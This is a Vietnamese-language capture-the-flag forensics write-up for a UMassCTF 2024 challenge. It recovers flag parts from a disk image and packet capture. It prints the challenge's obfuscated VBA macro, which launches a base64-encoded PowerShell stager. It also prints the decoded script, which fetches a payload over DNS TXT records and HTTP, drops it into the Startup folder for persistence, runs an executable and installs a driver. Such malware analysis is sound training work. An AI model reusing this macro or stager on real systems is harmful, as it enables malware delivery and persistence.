---
# System prepended metadata

title: UMassCTF 2024

---

# UMassCTF 2024

## Forensics

### Meet My Computer Wife Karen

![image](https://hackmd.io/_uploads/rkf_rimWA.png)

Sau khi tải file của author, giải nén ra sẽ ra hai file như sau

![image](https://hackmd.io/_uploads/HydqSjmbA.png)

Chúng ta sẽ xử lý file image.ad1 trước. Bỏ vào FTK để mount, ta được các folder sau

![image](https://hackmd.io/_uploads/BkTAHoQW0.png)

Kiểm tra qua các thư mục, mình nhận thấy rằng ở folder Documents có một số file như sau

![image](https://hackmd.io/_uploads/r1sZ8sQZR.png)

Dựa vào để bài, có vẻ như có một thứ gì đó cố gắng lấy cắp "Krabby party secret", và mình nhận thấy có một file word có extension là .docm => mình nghĩ rằng đây là một file word malicious chứa macro "official_correspondense.docm"

Nhưng sau khi kiểm tra qua bằng olevba, mình không phát hiện bất cứ tệp macro nào bên trong, dùng microsoft defender để trigged cũng không có. Mình khá clueless và sau khi giải kết thúc, author bảo đây là một lỗi của author liên quan đến việc sao lưu macro T^T

Mình có đọc comment trong discord bảo rằng macro cũng có thể được sao lưu ở /AppData/Roaming/Microsoft/Templates/Normal.dotm

Vì vậy, mình truy cập vào đường dẫn này và phát hiện tệp Normal.dotm có macro

![image](https://hackmd.io/_uploads/B1LlPi7ZA.png)

![image](https://hackmd.io/_uploads/rk1fPiQZ0.png)

```python=
Function dgfbhsrjtyghsfgbn(betrhyhzdfgbvfadgh() As Byte, tgdrhnatrhathgdf As Long) As Boolean
    Dim drtgvhsrtghgfhng As Byte
    drtgvhsrtghgfhng = 127
    For i = 0 To tgdrhnatrhathgdf - 1
        betrhyhzdfgbvfadgh(i) = betrhyhzdfgbvfadgh(i) Xor drtgvhsrtghgfhng
        drtgvhsrtghgfhng = ((drtgvhsrtghgfhng + 5) Xor 105)
    Next i
    drtgvhsrtghgfhng = True
End Function

Function flagpart()
    Dim bnirujwtnbiwrbn(12) As Byte
    bnirujwtnbiwrbn(0) = 42
    bnirujwtnbiwrbn(1) = 160
    bnirujwtnbiwrbn(2) = 218
    bnirujwtnbiwrbn(3) = 154
    bnirujwtnbiwrbn(4) = 244
    bnirujwtnbiwrbn(5) = 190
    bnirujwtnbiwrbn(6) = 212
    bnirujwtnbiwrbn(7) = 137
    bnirujwtnbiwrbn(8) = 152
    bnirujwtnbiwrbn(9) = 130
    bnirujwtnbiwrbn(10) = 186
    bnirujwtnbiwrbn(11) = 138
    flagpart = dgfbhsrjtyghsfgbn(bnirujwtnbiwrbn(), 12)
End Function


Sub formuoli()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run ("powershell.exe IEX([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JGI2NCA9ICIiDQoNCmZvciAoJGk9MTskaSAtbGUgNzskaSsrKSB7DQogICAgJHRlbXAgPSAobnNsb29rdXAgLXE9dHh0IC10aW1lb3V0PTMgJGknLmFtZXJpY2FudmVndGFibGVzLmNvbScpWy0xXSAtcmVwbGFjZSAnIicsJycgLXJlcGxhY2UgJ1xzJywnJw0KICAgICRiNjQgKz0gJHRlbXANCn07DQoNCiMgX2QwY01fNTdpTExfDQoNCmlleChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoJGI2NCkpKSk=')))")
End Sub
```

Có thể thấy một hàm tên là flagpart(), mình sử dụng python để convert lại 

```python=
def transform_bytes(betrhyhzdfgbvfadgh, tgdrhnatrhathgdf):
    # Initializing variable
    drtgvhsrtghgfhng = 127
    
    # Iterate over the byte array and apply XOR transformation
    for i in range(tgdrhnatrhathgdf):
        betrhyhzdfgbvfadgh[i] ^= drtgvhsrtghgfhng
        drtgvhsrtghgfhng = ((drtgvhsrtghgfhng + 5) ^ 105)
    
    return betrhyhzdfgbvfadgh

bnirujwtnbiwrbn = [42, 160, 218, 154, 244, 190, 212, 137, 152, 130, 186, 138]

decoded_bytes = transform_bytes(bnirujwtnbiwrbn.copy(), 12)

decoded_string = ''.join(chr(x) for x in decoded_bytes)

print("Decoded string:", decoded_string)

```

Và ta có part 1 của flag 

![image](https://hackmd.io/_uploads/r1eWuj7ZR.png)


:::success
Part1: UMASS{wH7_1s
:::

Tiếp tục xử lý ở phần macro, ta thấy hàm formuoli() đang xử lý một đoạn code powershell. Nó đang convert một đoạn base64, vì vậy mình decode đoạn base64 đó

![image](https://hackmd.io/_uploads/Sk_wOsmZC.png)

Ta được part 2 của flag

:::success
Part 2: _d0cM_57iLL_
:::

Nhìn qua thì đoạn powershell script này đang thực hiện việc tìm kiếm và convert nội dung của request dns chứa file txt. Vì vậy mình mở wireshark để bắt đầu xử lý file pcap kia

Filter request dns có chứa file txt chúng ta đã tìm ra đoạn text bị base64 encoded
![image](https://hackmd.io/_uploads/BJ-VKj7bC.png)

Copy và decode, sau đó ghép lại với nhau, ta được nội dung như sau

```
$downloadURL = "192.168.157.145:8080/money.png"
$content = Invoke-WebRequest $downloadURL

$re = New-Object System.Text.RegularExpressions.Regex("c4fc34f45386d4c98e26")
$stuff = [regex]::Split($content, $re)[1]
$zip = [System.Convert]::FromBase64String($stuff)

Set-Content "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip" -Value $zip -Encoding Byte

Expand-Archive -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip" -DestinationPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip"

Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\MoneyGrabber.exe" -NoNewWindow

pnputil.exe /add-driver "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\myDriver.inf" /install

sc.exe start myDriver

Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\myDriver.*"

# Write-Output "4_tH1nG_"
```

Ở cuối, ta thấy được flag thứ 3

:::success
Part 3: 4_tH1nG_
:::

Quay trở lại đoạn powershell script, ta thấy rằng nó đang thực hiện việc invoked web url để download một bức ảnh. Sau đó sử dụng một thuật toán để giải mã bức ảnh thành một file zip và thực thi cùng với thực hiện persistence trên máy của victim

Trở lại wireshark, export object với đuôi .png, ta thấy được bức ảnh

![image](https://hackmd.io/_uploads/B1ME5o7b0.png)

Viết một script python dựa trên thuật toán bên trên, mình decode được ra file zip

```
import re
import base64

pattern = "c4fc34f45386d4c98e26"

content = "examplecontentbeforec4fc34f45386d4c98e26examplecontentafter"

split_result = re.split(pattern, content)

if len(split_result) > 1:
    stuff = split_result[1]
else:
    raise ValueError("Pattern not found in content")

zip_bytes = base64.b64decode(stuff)

print("Extracted content (binary data):", zip_bytes)

```

Mở file zip lên và ta thấy file flag4.txt

![image](https://hackmd.io/_uploads/HkIOci7bR.png)

:::success
Part 4: 1n_th3_y34r_2024??}
:::